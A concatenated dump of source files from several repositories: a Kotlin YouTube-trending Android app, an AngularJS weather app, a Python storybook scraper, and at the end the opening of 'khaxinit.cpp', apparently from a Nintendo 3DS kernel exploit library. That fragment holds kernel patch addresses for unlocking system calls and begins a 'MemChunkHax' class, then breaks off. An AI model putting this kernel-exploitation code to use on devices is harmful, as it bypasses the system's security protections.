fun searchAbout(searchInput: EditText, disposable: CompositeDisposable) {
Observable.create<String> {
searchInput.addTextChangedListener(object : TextWatcher {
override fun afterTextChanged(s: Editable?) {
}
override fun beforeTextChanged(
s: CharSequence?,
start: Int,
count: Int,
after: Int
) {
}
override fun onTextChanged(s: CharSequence?, start: Int, before: Int, count: Int) {
if (!TextUtils.isEmpty(s)) {
view.setProgressVisibility(View.VISIBLE)
it.onNext(s.toString())
} else {
view.setProgressVisibility(View.GONE)
}
}
})
}.debounce(5000, TimeUnit.MILLISECONDS)
.subscribeOn(Schedulers.io())
.observeOn(Schedulers.computation())
.subscribe {
observeOnText(it, disposable)
}
}
@SuppressLint("CheckResult")
private fun observeOnText(q: String, disposable: CompositeDisposable) {
disposable.add(
api.searchingAbout(q)
.subscribeOn(Schedulers.computation())
.observeOn(AndroidSchedulers.mainThread())
.subscribeWith(object : DisposableObserver<SearchResponse>() {
override fun onComplete() {
}
override fun onNext(t: SearchResponse) {
view.onReceiveSearchResults(t.items, null)
}
override fun onError(e: Throwable) {
view.onReceiveSearchResults(null, e.message)
}
})
)
}
//filter result from api to return videos only
fun filterSearchResults(list: List<SearchItems>): MutableList<SearchItems> {
val mutableList: MutableList<SearchItems> = ArrayList()
for (item in list) {
item.id.videoId?.let {
mutableList.add(item)
}
}
return mutableList
}
}<file_sep>package com.example.trending.models.responses
import com.example.trending.models.categoryModels.Items
import com.google.gson.annotations.SerializedName
data class CategoriesResponse (
@SerializedName("kind") val kind : String,
@SerializedName("etag") val etag : String,
@SerializedName("items") val items : List<Items>
)<file_sep>package com.example.trending.adapters
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.ImageView
import android.widget.TextView
import androidx.recyclerview.widget.RecyclerView
import com.example.trending.R
import com.example.trending.caching.savesVideos.VideoCachingItem
import com.example.trending.ui.Id
import com.example.trending.ui.Layout
import com.squareup.picasso.Picasso
class SavesAdapter(
val items: MutableList<VideoCachingItem>,
val listener: OnVideoClickListener<VideoCachingItem>,
private val deleteListener: OnDeleteListener
) :
RecyclerView.Adapter<SavesAdapter.ViewHolder>() {
interface OnDeleteListener {
fun onClickDelete(itemId: String)
}
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val view = LayoutInflater.from(parent.context).inflate(Layout.save_item, parent, false)
return ViewHolder(view)
}
override fun getItemCount(): Int {
return items.size
}
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
holder.saveItemTitle?.text = items[position].title
Picasso.get().load(items[position].poster).into(holder.saveItemPoster)
holder.deleteBtn?.setOnClickListener {
deleteListener.onClickDelete(items[position].videoId)
notifyItemRemoved(position)
notifyItemRangeChanged(position, itemCount)
items.removeAt(position)
}
}
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
var saveItemTitle: TextView? = null
var saveItemPoster: ImageView? = null
private var playSaveItemBtn: ImageView? = null
var deleteBtn: ImageView? = null
init {
saveItemTitle = itemView.findViewById(Id.saveItemTitle)
saveItemPoster = itemView.findViewById(Id.saveItemPoster)
playSaveItemBtn = itemView.findViewById(Id.playSaveItemBtn)
deleteBtn = itemView.findViewById(Id.deleteBtn)
itemView.setOnClickListener {
if (adapterPosition != RecyclerView.NO_POSITION) {
listener.onItemClicked(items[adapterPosition])
}
}
playSaveItemBtn?.setOnClickListener {
if (adapterPosition != RecyclerView.NO_POSITION) {
listener.onItemClicked(items[adapterPosition])
}
}
}
}
}<file_sep>package com.example.trending.network
object Constants {
const val API_KEY = "<KEY>"
private const val MAX_RESULTS = "&maxResults=100"
const val BASE_URL = "https://www.googleapis.com/youtube/v3/"
const val VIDEOS_ENDPOINT = "videos?part=snippet&chart=mostPopular®ionCode=GB$MAX_RESULTS&key=$API_KEY"
const val SEARCH_ENDPOINT = "search?part=snippet&maxResults=25&key=$API_KEY"
const val CATEGORIES_ENDPOINT = "videoCategories?part=snippet®ionCode=GB&key=$API_KEY"
const val CHANNELS_ENDPOINT = "channels?part=snippet&key=$API_KEY"
}<file_sep>package com.example.trending.models.categoryModels
import androidx.room.Entity
import androidx.room.PrimaryKey
import com.google.gson.annotations.SerializedName
@Entity
data class Items(
@PrimaryKey(autoGenerate = true) val primaryKey: Int = 0,
@SerializedName("kind") val kind: String,
@SerializedName("etag") val etag: String,
@SerializedName("id") val id: Int,
@SerializedName("snippet") val snippet: Snippet
)<file_sep>package com.example.trending.models.videosModels
import com.google.gson.annotations.SerializedName
data class Thumbnails (
@SerializedName("default") val default : Default,
@SerializedName("medium") val medium : Medium,
@SerializedName("high") val high : High,
@SerializedName("standard") val standard : Standard,
@SerializedName("maxres") val maxres : Maxres
)<file_sep>package com.example.trending.caching.cachingCategories
import androidx.room.Database
import androidx.room.RoomDatabase
@Database(entities = [CategoryItem::class], version = 1)
abstract class CategoryCachingDatabase : RoomDatabase() {
abstract fun getCachingCategoriesDao(): CachingCategoriesDAO
}<file_sep>package com.example.trending.models.categoryModels
import com.google.gson.annotations.SerializedName
data class Snippet (
@SerializedName("title") val title : String,
@SerializedName("assignable") val assignable : Boolean,
@SerializedName("channelId") val channelId : String
)<file_sep>package com.example.trending.models.seachModels
import com.google.gson.annotations.SerializedName
data class SearchItems (
@SerializedName("kind") val kind : String,
@SerializedName("etag") val etag : String,
@SerializedName("id") val id : Id,
@SerializedName("snippet") val snippet : Snippet
)<file_sep>package com.example.trending.ui.views
import com.example.trending.models.seachModels.SearchItems
interface SearchFragmentView {
fun onReceiveSearchResults(list: List<SearchItems>? , err:String?)
fun setProgressVisibility(visibility:Int)
}<file_sep>package com.example.trending.caching.savesVideos
import androidx.room.Database
import androidx.room.RoomDatabase
@Database(entities = [VideoCachingItem::class], version = 1)
abstract class VideoCachingDatabase : RoomDatabase() {
abstract fun getCachingVideosDao(): VideoCachingDAO
}<file_sep>package com.example.trending.ui
import android.content.Intent
import android.os.Bundle
import androidx.fragment.app.Fragment
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.ProgressBar
import android.widget.Toast
import androidx.appcompat.widget.Toolbar
import androidx.recyclerview.widget.GridLayoutManager
import androidx.recyclerview.widget.RecyclerView
import com.example.trending.R
import com.example.trending.adapters.OnVideoClickListener
import com.example.trending.adapters.SavesAdapter
import com.example.trending.caching.savesVideos.VideoCachingItem
import com.example.trending.models.passingModel.Video
import com.example.trending.presenters.SavesFragmentPresenter
import com.example.trending.ui.views.SavesFragmentView
import org.koin.android.ext.android.inject
import org.koin.core.parameter.parametersOf
class SavesFragment : Fragment(), SavesFragmentView, OnVideoClickListener<VideoCachingItem>,
SavesAdapter.OnDeleteListener {
private lateinit var toolbar: Toolbar
private lateinit var savesList: RecyclerView
private lateinit var savesProgressBar: ProgressBar
private val presenter: SavesFragmentPresenter by inject { parametersOf(this, this) }
override fun onCreateView(
inflater: LayoutInflater, container: ViewGroup?,
savedInstanceState: Bundle?
): View? {
return inflater.inflate(Layout.fragment_saves, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
toolbar = view.findViewById(Id.savesToolbar)
savesList = view.findViewById(Id.savesList)
savesProgressBar = view.findViewById(Id.savesProgress)
toolbar.title = resources.getString(R.string.saves)
savesList.layoutManager = GridLayoutManager(requireContext(), 3)
}
override fun onStart() {
super.onStart()
presenter.getAllSaves()
}
//we won't use this method here
override fun onSaveVideo(message: String?) {
}
override fun onReceiveAllSaves(list: MutableList<VideoCachingItem>) {
if (list.isEmpty()) {
Toast.makeText(context, "There's no saves videos", Toast.LENGTH_LONG)
.show()
}
val adapter: SavesAdapter by inject { parametersOf(list, this, this) }
savesList.adapter = adapter
savesProgressBar.visibility = View.GONE
}
//we won't use this method here
override fun onReceiveCurrentVideo(video: VideoCachingItem?) {
}
override fun onRemoveItemFromSaves(message: String?) {
message?.let {
Toast.makeText(context, it, Toast.LENGTH_SHORT).show()
}
}
override fun onItemClicked(obj: VideoCachingItem) {
val video: Video by inject {
parametersOf(
obj.videoId,
obj.videoDescription,
obj.videoTitle,
obj.channelId,
obj.poster
)
}
val streamIntent = Intent(context, StreamingActivity::class.java)
streamIntent.putExtra(getString(R.string.video), video)
startActivity(streamIntent)
}
// when user click on delete button
override fun onClickDelete(itemId: String) {
presenter.unSave(itemId)
}
}<file_sep>package com.example.trending.caching.savesVideos
import androidx.room.ColumnInfo
import androidx.room.Entity
import androidx.room.PrimaryKey
@Entity
class VideoCachingItem(
var id: String,
var title: String?,
var desc: String?,
var idChannel: String,
var posterUri: String
) {
@PrimaryKey(autoGenerate = true)
var primaryKey: Int = 0
@ColumnInfo(name = "video_id")
var videoId: String = id
@ColumnInfo(name = "video_title")
var videoTitle: String? = title
@ColumnInfo(name = "video_description")
var videoDescription: String? = desc
@ColumnInfo(name = "channel_id")
var channelId: String = idChannel
@ColumnInfo(name = "video_poster")
var poster: String = posterUri
}<file_sep>package com.example.trending.ui.views
import com.example.trending.caching.cachingCategories.CategoryItem
import com.example.trending.models.videosModels.VideoItems
import com.example.trending.models.categoryModels.Items
interface HomeFragmentView {
fun onReceiveCategories(list: ArrayList<Items>?)
fun onReceiveCategoryById(item:CategoryItem?)
fun onReceiveCachingCategories(list: ArrayList<CategoryItem>)
fun onReceivePopularVideos(list: List<VideoItems>? , err: String?)
fun onReceiveVideosByCategoryId(list: List<VideoItems>? , err: String?)
}<file_sep>package com.example.trending.ui.views
interface StreamingActivityView {
fun onReceiveChannel(channelTitle: String?, channelLogo: String? , err:String?)
}<file_sep>package com.example.trending.adapters
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.ImageView
import android.widget.TextView
import androidx.recyclerview.widget.RecyclerView
import com.example.trending.R
import com.example.trending.models.videosModels.VideoItems
import com.example.trending.ui.Id
import com.example.trending.ui.Layout
import com.squareup.picasso.Picasso
class PopularVideosAdapter(
val list: List<VideoItems>,
val listener: OnVideoClickListener<VideoItems>
) :
RecyclerView.Adapter<PopularVideosAdapter.ViewHolder>() {
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val view = LayoutInflater.from(parent.context).inflate(Layout.viedo_item, parent, false)
return ViewHolder(view)
}
override fun getItemCount(): Int {
return list.size
}
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
holder.publisher?.text = list[position].snippet.title
holder.date?.text = list[position].snippet.publishedAt
Picasso.get().load(list[position].snippet.thumbnails.medium.url).into(holder.videoPoster)
}
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
var publisher: TextView? = null
var date: TextView? = null
var videoPoster: ImageView? = null
private var playBtn: ImageView? = null
init {
publisher = itemView.findViewById(Id.publisher)
date = itemView.findViewById(Id.date)
videoPoster = itemView.findViewById(Id.video_poster)
playBtn = itemView.findViewById(Id.play_btn)
playBtn?.setOnClickListener {
if (adapterPosition != RecyclerView.NO_POSITION) {
listener.onItemClicked(list[adapterPosition])
}
}
}
}
} | bc155574b5d235074ec6b3b9eb8324a896f86462 | [
"Kotlin"
] | 46 | Kotlin | ahmedmohamedkhedr/Trending | 3953ce8831ba35dace29dec0a2b52e7ed19e3b52 | a0bb95770902a7b9cf54febe7546437b9a3140d5 |
refs/heads/master | <file_sep>/**
* Created by Marcelo on 16/07/2016.
*/
app.filter('ishtml', ['$sce',function($sce){
return function(text) {
return $sce.trustAsHtml(text);
}
}]);<file_sep>/**
* Created by Marcelo on 16/07/2016.
*/
app.factory('YahooTranslate', ['DateTranslate', '$filter', function(DateTranslate, $filter) {
var data;
function translate() {
try {
var item = data['query']['results']['channel']['item'];
item['title'] = item['title'].replace('Conditions for', 'Previsão do tempo para').replace('at', 'às');
var date = item['condition']['date'].split(' ');
date[0] = date[0].replace(',','');
item['condition']['day'] = DateTranslate.Day(date[0]);
item['condition']['date'] = DateTranslate.Day(date[0]) + ', ';
item['condition']['date']+= date[1] + ' de ';
item['condition']['date']+= DateTranslate.Month(date[2]) + ' de ';
item['condition']['date']+= date[3] + ' às ';
item['condition']['date']+= DateTranslate.Time(date[4],date[5]);
item['condition']['text'] = $filter('YahooWT')(item['condition']['code']);
var list = [];
for (var i = 0; i < item['forecast'].length; i++) {
var forecast = item['forecast'][i];
var date = forecast['date'].split(' ');
var day = date[0];
var month = DateTranslate.Month(date[1], 'normal');
var year = date[2];
item['forecast'][i]['date'] = day + ' de ' + month + ' de ' + year;
item['forecast'][i]['day'] = DateTranslate.Day(item['forecast'][i]['day'], 'normal');
}
var date = item['pubDate'].split(' '),
dayname = date[0].replace(',', ''),
day = date[1],
month = date[2],
year = date[3],
hour = date[4],
type_hour = date[5];
var pubDate = DateTranslate.Day(dayname) + ', ';
pubDate += day + ' de ';
pubDate += DateTranslate.Month(month) + ' ';
pubDate += year + ' às ';
pubDate += DateTranslate.Time(hour, type_hour);
item['pubDate'] = pubDate;
data['item'] = item;
} catch (e) {
console.error('Erro ao traduzir os dados');
console.error(e);
}
}
return {
setData: function(vData) {
data = vData;
translate();
},
getData: function(){
return data;
}
}
}]);<file_sep>/**
* Created by Marcelo on 16/07/2016.
*/
var app = angular.module('Tempo', ['ngSanitize'])
.controller('defaultController', ['$rootScope', function($rootScope){
$rootScope.error=false;
}]);<file_sep>#Tempo
Basta baixar o repositório e instalar as dependências usando:
`npm update`
Em seguida, basta apenas executar o seguinte comando para que a aplicação seja executada:
`gulp`<file_sep>/**
* Created by Marcelo on 16/07/2016.
*/
app.controller('weatherController', ['$rootScope', '$scope', 'Weather', function($rootScope, $scope, Weather){
$scope.pronto=false;
if(Weather.hasFavorite()) {
Weather.rescueFavorite();
} else {
Weather.setCity('Blumenau');
Weather.setState('SC');
}
Weather.loadingWeather();
var ctx = document.getElementById('WeatherGraphic').getContext("2d");
var Graphic = new Chart(ctx);
$rootScope.$on('weather:start', function(e, d){
delete $rootScope.error;
$scope.pronto=false;
});
$rootScope.$on('weather:finish', function(e,d) {
$scope.city = Weather.getCity();
$scope.state = Weather.getState();
$scope.data = Weather.getData();
if(Weather.isFavorite()) {
$scope.favorite = true;
} else {
$scope.favorite = false;
}
var gpdata = Weather.getGraphicData();
var GraphicData = {
'labels': gpdata['day'],
'datasets': [
{
'label': 'Máxima',
'strokeColor': "#ff851b",
pointColor: "#ff851b",
'data': gpdata['max']
},
{
'label': 'Mínima',
fillColor: "#3c8dbc",
strokeColor: "#3c8dbc",
pointColor: "#3c8dbc",
'data': gpdata['min']
}
]
};
var GraphicOptions = {
datasetFill: false,
responsive: true
};
Graphic.Line(GraphicData,GraphicOptions);
$scope.pronto=true;
});
$scope.addFavorite = function() {
Weather.addToFavorite($scope.city, $scope.state);
$scope.favorite = true;
};
$scope.removeFavorite = function() {
Weather.removeToFavorite();
$scope.favorite = false;
};
}]);<file_sep>/**
* Created by Marcelo on 17/07/2016.
*/
app.factory('Errors', ['$rootScope', function($rootScope) {
var m=[]; // messages
m[101] = {
'title': 'Ops!',
'description': 'As informações desta cidade, não estão disponíveis neste momento.' +
'Atualize a página ou refaça a pesquisa para tentar novamente.'
};
return {
setCode: function(code) {
if(m[code] !== undefined)
$rootScope.error = m[code];
}
}
}]);<file_sep>/**
* Created by Marcelo on 17/07/2016.
*/
app.filter('YahooWT',function(){
return function(code) {
ywcc_ptbr = {
'0': 'tornado', //tornado
'1': 'tempestade tropical', //tropical storm
'2': 'furacão', //hurricane
'3': 'tempestade severa', //severe thunderstorms
'4': 'trovoadas', //thunderstorms
'5': 'chuva e neve', //mixed rain and snow
'6': 'chuva e granizo fino', //mixed rain and sleet
'7': 'neve e granizo fino', //mixed snow and sleet
'8': 'garoa gélida', //freezing drizzle
'9': 'garoa', //drizzle
'10': 'chuva gélida', //freezing rain
'11': 'chuvisco', //showers
'12': 'chuva', //showers
'13': 'neve em flocos finos', //snow flurries
'14': 'leve precipitação de neve', //light snow showers
'15': 'ventos com neve', //blowing snow
'16': 'neve', //snow
'17': 'chuva de granizo', //hail
'18': 'pouco granizo', //sleet
'19': 'pó em suspensão', //dust
'20': 'neblina', //foggy
'21': 'névoa seca', //haze
'22': 'enfumaçado', //smoky
'23': 'vendaval', //blustery
'24': 'ventando', //windy
'25': 'frio', //cold
'26': 'nublado', //cloudy
'27': 'muitas nuvens (noite)', //mostly cloudy (night)
'28': 'muitas nuvens (dia)', //mostly cloudy (day)
'29': 'parcialmente nublado (noite)', //partly cloudy (night)
'30': 'parcialmente nublado (dia)', //partly cloudy (day)
'31': 'céu limpo (noite)', //clear (night)
'32': 'ensolarado', //sunny
'33': 'tempo bom (noite)', //fair (night)
'34': 'tempo bom (dia)', //fair (day)
'35': 'chuva e granizo', //mixed rain and hail
'36': 'quente', //hot
'37': 'tempestades isoladas', //isolated thunderstorms
'38': 'tempestades esparsas', //scattered thunderstorms
'39': 'tempestades esparsas', //scattered thunderstorms
'40': 'chuvas esparsas', //scattered showers
'41': 'nevasca', //heavy snow
'42': 'tempestades de neve esparsas', //scattered snow showers
'43': 'nevasca', //heavy snow
'44': 'parcialmente nublado', //partly cloudy
'45': 'chuva com trovoadas', //thundershowers
'46': 'tempestade de neve', //snow showers
'47': 'relâmpagos e chuvas isoladas', //isolated thundershowers,
'200' : 'Amanhã',
'201' : 'Amanhã há grandes possibilidades do dia estar favorável para curtir uma boa praia com os amigos.',
'202' : 'Hoje',
'203' : 'Hoje o dia está favorável para curtir uma praia com seus amigos.',
'204' : 'Amanhã o dia não estará bom para praia.',
'205' : 'Hoje o dia não estará bom para praia.',
'206' : 'Próximo Sábado',
'207' : 'No próximo sábado, há grandes possibilidades do clima estar favorável para curtir uma praia.',
'208' : 'No próixmo sábado, há grandes possibildiades do clima não estar bom para ir à praia.',
'3200': 'não disponível' //not available
};
return ywcc_ptbr[code];
}
}); | 05415d5b95e777397b43402962586746f03232a3 | [
"JavaScript",
"Markdown"
] | 7 | JavaScript | marcelorafaelfeil/Tempo | e682d808304522b3a096a5b9ed956b30bd63bf4e | a3110168fac0312ecb0d11623e22fa8b47abe31c |
refs/heads/master | <repo_name>julietta32/Soboleva_js_15_16<file_sep>/17_05_06/js.js
var API_KEY = '<KEY>';
var URL = "https://pixabay.com/api/?key="+API_KEY+"&q="+encodeURIComponent('cat');
$.getJSON(URL, function(data){
if (parseInt(data.totalHits) > 0)
$.each(data.hits, function(i, hit){
$(":first button").click(function(){
$("<img>").attr("src",hit.userImageURL).appendTo("#main");});});
})
| 7fa32879332636ab788b5bffa0be10977a301f47 | [
"JavaScript"
] | 1 | JavaScript | julietta32/Soboleva_js_15_16 | 39af3b6b1428c6f139731f416ea6760ab4846fa8 | d59643cb6ed218b17e45c275c392a749d5e46dba |
refs/heads/master | <file_sep>/* eslint-env node, mocha */
const assert = require('chai').assert
describe('test require', function () {
let testServiceProto
let otherServiceProto
let TestService
let OtherService
it('can required proto file', function () {
testServiceProto = require('./protocol/TestService.proto')
otherServiceProto = require('./protocol/OtherService.proto')
})
it('required a valid protobuf roots', function () {
assert.strictEqual(typeof testServiceProto.lookup, 'function')
assert.strictEqual(typeof testServiceProto.lookupService, 'function')
assert.strictEqual(typeof testServiceProto.lookupType, 'function')
assert.strictEqual(typeof testServiceProto.lookupTypeOrEnum, 'function')
assert.strictEqual(typeof testServiceProto.lookupEnum, 'function')
assert.strictEqual(typeof otherServiceProto.lookup, 'function')
assert.strictEqual(typeof otherServiceProto.lookupService, 'function')
assert.strictEqual(typeof otherServiceProto.lookupType, 'function')
assert.strictEqual(typeof otherServiceProto.lookupTypeOrEnum, 'function')
assert.strictEqual(typeof otherServiceProto.lookupEnum, 'function')
})
it('can found service in correct root', function () {
TestService = testServiceProto.lookup('TestService')
assert.strictEqual(TestService.name, 'TestService')
OtherService = otherServiceProto.lookup('OtherService')
assert.strictEqual(OtherService.name, 'OtherService')
})
it('can found method in correct service', function () {
assert.strictEqual(TestService.methods.Echo.name, 'Echo')
})
it('uses different protobuf root objects for each require', function () {
assert.strictEqual(otherServiceProto.lookup('TestService'), null)
assert.strictEqual(testServiceProto.lookup('OtherService'), null)
})
it('uses can found correct type based on namespace', function () {
assert.strictEqual(TestService.lookup('TextMessage').parent.name, 'test')
assert.strictEqual(OtherService.lookup('TextMessage').parent.name, 'other')
})
})
<file_sep># browserify-protobuf
`browserify-protobuf` is a Browserify transform.
With this tool you can require protocol buffer files directly in your code.
You can and avoid additional HTTP requests when using `protobufjs`
on the client side by replacing lines like these:
```javascript
const protobuf = require('protobufjs')
const exampleProto = protobuf.load('protocol/example.proto')
```
with this:
```javascript
const exampleProto = require('protocol/example.proto')
```
It is based on the `pbjs` cli command of `protobufjs`. And uses the `json-module` flag, but it loads each
required protocol buffer into a separate protobuf Root object.
## Installation
```bash
npm install --save-dev @techteamer/browserify-protobuf
```
## Usage
`example.proto`
```proto
syntax = "proto2";
package test;
service TestService {
rpc Echo (TextMessage) returns (TextMessage) {}
}
message TextMessage {
required string text = 1;
}
```
`example.js`
```javascript
const exampleProto = require('example.proto')
const TestService = exampleProto.lookupService('TestService')
// ...
```
### Build
Run directly from CLI:
```bash
browserify example.js -t @techteamer/browserify-protobuf > dist.js
```
Or using the browserify API:
```javascript
browserify(file, {
// browserify options
transform: ['@techteamer/browserify-protobuf']
})
```
Or add it to browserify config using `package.json`:
```json
{
"browserify": {
"transform": [
["@techteamer/browserify-protobuf"]
]
}
}
```
<file_sep>const through = require('through2')
const pbjs = require('protobufjs/cli/pbjs')
const DEFAULT_EXT_REGEX = /\.proto$/
let extRegex
function compile (filePath, callback) {
pbjs.main(['-t', 'json-module', filePath], (err, output) => {
if (err) {
callback(err)
}
// Use a new protobuf Root for each .proto file
output = output.replace(
'var $root = ($protobuf.roots["default"] || ($protobuf.roots["default"] = new $protobuf.Root()))',
'var $root = new $protobuf.Root()'
)
callback(null, output)
})
}
function protify (filePath, options) {
const {
ext = DEFAULT_EXT_REGEX
} = options
if (ext instanceof RegExp) {
extRegex = ext
} else if (typeof ext === 'string') {
extRegex = new RegExp(ext)
} else {
throw new Error('Invalid config: "ext" must be an instance of RegExp or a string!')
}
if (!extRegex.test(filePath)) {
return through()
}
function push (chunk, _, next) {
next()
}
function end (next) {
compile(filePath, (err, compiled) => {
if (err) {
throw err
}
this.push(compiled)
next()
})
}
return through(push, end)
}
module.exports = protify
module.exports.compile = compile
| b0b12b90e07ecdc9313b468c3fafaf5bcd4b28df | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | TechTeamer/browserify-protbuf | 48450ca38acab1cbf54806906a1d15e87a2518fe | f6d8ecc24c4d7f40ff42592da1f74356ad1acf91 |
refs/heads/main | <file_sep># test_bench_practice
test bench practice
L01_LED
とりあえず最初なので手探り状態ですが、ちょっとずつ進めていきます。
ファイル構成などは試行錯誤中
・テストケースの設定が難しい...
L02_LogicFunc
Templateを初めて使用する課題。
Templateの間違いが少しあったので修正済み。
テストケースで出力に初期値を与えていたのでエラーが出てた。
相変わらずテストケースの設定は難しい。現在はmodelsimで出力を確認して合っているかどうか照合している状態。
L04_RS_FlipFlop
ボタンを押すという動作をタスクによって作成した。
L05_FlipFlop
トップモジュール内で使用されているモジュール内のregの初期値が不定だったためLEDの出力が不定になっていた。force文を使用することで解決したが、実際にはresetする機構を考えたほうが良い。
L06_ShiftRegister
L05でreset信号線を追加したほうが良いとのことだったのでL06ではそれを踏まえて各モジュールにreset機構を追加実装した。テストベンチではButton0とButton1を交互に3回押すタスクを作成することで少し見やすくなった...と思う。<file_sep>import glob
from os.path import join, dirname
from vunit import VUnitCLI
from vunit.verilog import VUnit
cli = VUnitCLI()
cli.parser.add_argument(
'--unit',
metavar='unit_name',
required=True,
help='(Required) test terget name (i.e. \'L00_Template\')'
)
args = cli.parse_args()
vu = VUnit.from_args(args=args)
target_path = dirname(__file__)+"./"+args.unit+"/"
src_path = join(target_path, "src/")
tb_path = join(target_path, "tb/")
lib = vu.add_library("lib")
lib.add_source_files(join(src_path, "*.sv"), allow_empty=True)
lib.add_source_files(join(src_path, "*.v"), allow_empty=True)
lib.add_source_files(join(tb_path, "*.sv"))
lib.add_source_files(join(tb_path, "*.v"), allow_empty=True)
#vu.set_sim_option("modelsim.vsim_flags.gui", ["-msgmode both", "-displaymsgmode both"])
vu.main()
| ff8029fc7c88b3153b01d28c1ef2543dfe678b68 | [
"Markdown",
"Python"
] | 2 | Markdown | shikata-nidek/test_bench_practice | 300f1d87a6f2096b4d7ba56f21a2dd7eaf0db3d2 | 44a8396acf811785b33f3c91f65ed309b5f08921 |
refs/heads/master | <file_sep>import openpyxl as px
import sys
from bs4 import BeautifulSoup
from urllib import request
import re
import os.path
#story_id = sys.argv[1]
#with urllib.request.urlopen('https://www.africanstorybook.org/read/readbook.php?id='+story_id+'&d=0&a=1') as f:
story_file = sys.argv[1]
wb = px.Workbook()
ws = wb.active
ws.name = story_file
row = 1
ws.cell(row=row, column=1).value = 'type'
ws.cell(row=row, column=2).value = 'header'
ws.cell(row=row, column=3).value = 'title'
ws.cell(row=row, column=4).value = 'content'
ws.cell(row=row, column=5).value = 'option'
row = row+1
with open(story_file) as f:
soup = BeautifulSoup(f, features="html.parser")
title_img_el = soup.find('div',class_='cover-image')['style']
m = re.search(r"\(.*\)", title_img_el)
title_img = m.group(0)[1:-1]
img_name = title_img.split('/')[-1]
title = soup.find('div',class_='cover_title').text
content = soup.find('div',class_='cover_author').text
content += '\n'+soup.find('div',class_='cover_artist').text
if not os.path.isfile('asb/'+img_name):
request.urlretrieve("https://www.africanstorybook.org/"+title_img, 'asb/'+img_name)
print(title_img,',',title,',',content)
ws.cell(row=row, column=1).value = 'topic'
ws.cell(row=row, column=2).value = 'asb/'+img_name
ws.cell(row=row, column=3).value = title
ws.cell(row=row, column=4).value = content
ws.cell(row=row, column=5).value = ''
row = row+1
for tag in soup.find_all('div',class_='swiper-slide'):
img = ''
text = ''
img_name = ''
img_el = tag.find('div',class_='page-image')
if img_el:
m = re.search(r"\(.*\)", img_el['style'])
img = m.group(0)[1:-1]
text_el = tag.find('div',class_='page-text-story')
if not text_el:
text_el = tag.find('div',class_='page-textonly-story')
if text_el:
text = text_el.get_text("\n", strip=True)
if img != '' or text != '':
if img != '':
img_name = img.split('/')[-1]
if not os.path.isfile('asb/'+img_name):
request.urlretrieve("https://www.africanstorybook.org/"+img, 'asb/'+img_name)
print(img, ',', text)
ws.cell(row=row, column=1).value = 'article'
if img_name:
ws.cell(row=row, column=2).value = 'asb/'+img_name
else:
ws.cell(row=row, column=2).value = ''
ws.cell(row=row, column=3).value = ''
ws.cell(row=row, column=4).value = text
ws.cell(row=row, column=5).value = ''
row = row+1
back_cover = soup.find('div',class_='backcover_wrapper')
if back_cover:
back_cover_text = back_cover.get_text("\n", strip=True)
print(back_cover_text)
ws.cell(row=row, column=1).value = 'article'
ws.cell(row=row, column=2).value = ''
ws.cell(row=row, column=3).value = ''
ws.cell(row=row, column=4).value = back_cover_text
ws.cell(row=row, column=5).value = ''
wb.save(story_file+'.xlsx')
| 49b368d37e036c9ccc1db8c39eb38bb6c893c70c | [
"Python"
] | 1 | Python | aayush-learning/maui | 80ce5d701b90852dbc38f4d7fd6c42d38e66e374 | 6b4af3ad87ca0a06f1380b6f70199517077efd4f |
refs/heads/master | <repo_name>TuxSH/libkhax<file_sep>/khaxinit.cpp
#include <3ds.h>
#include <cstddef>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <limits>
#include <new>
#include "khax.h"
#include "khaxinternal.h"
extern u32 __ctru_heap;
extern u32 __ctru_heap_size;
//------------------------------------------------------------------------------------------------
namespace KHAX
{
//------------------------------------------------------------------------------------------------
// Kernel and hardware version information.
struct VersionData
{
// New 3DS?
bool m_new3DS;
// Kernel version number
u32 m_kernelVersion;
// Nominal version number lower bound (for informational purposes only)
u32 m_nominalVersion;
// Patch location in svcCreateThread
u32 m_threadPatchAddress;
// Original version of code at m_threadPatchAddress
static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;
// System call unlock patch location
u32 m_syscallPatchAddress;
// Kernel virtual address mapping of FCRAM
u32 m_fcramVirtualAddress;
// Physical mapping of FCRAM on this machine
static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;
// Physical size of FCRAM on this machine
u32 m_fcramSize;
// Kernel virtual address mapping of SlabHeap
u32 m_slabHeapVirtualAddress;
// Physical mapping of SlabHeap on this machine
static constexpr const u32 m_slabHeapPhysicalAddress = 0x1FFA0000;
// Constant added to a kernel virtual address to get a physical address.
static constexpr const u32 m_kernelVirtualToPhysical = 0x40000000;
// Address of KThread address in kernel (KThread **)
static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);
// Address of KProcess address in kernel (KProcess **)
static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);
// Pseudo-handle of the current KProcess.
static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;
// Returned pointers within a KProcess object. This abstracts out which particular
// version of the KProcess object is in use.
struct KProcessPointers
{
KSVCACL *m_svcAccessControl;
u32 *m_kernelFlags;
u32 *m_processID;
};
// Creates a KProcessPointers for this kernel version and pointer to the object.
KProcessPointers(*m_makeKProcessPointers)(void *kprocess);
// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual
// address using the version-specific information in this table entry.
void *ConvertLinearUserVAToKernelVA(void *address) const;
// Retrieve a VersionData for this kernel, or null if not recognized.
static const VersionData *GetForCurrentSystem();
private:
// Implementation behind m_makeKProcessPointers.
template <typename KProcessType>
static KProcessPointers MakeKProcessPointers(void *kprocess);
// Table of these.
static const VersionData s_versionTable[];
};
//------------------------------------------------------------------------------------------------
// ARM11 kernel hack class.
class MemChunkHax
{
public:
// Construct using the version information for the current system.
MemChunkHax(const VersionData *versionData)
: m_versionData(versionData),
m_nextStep(1),
m_corrupted(0),
m_overwriteMemory(nullptr),
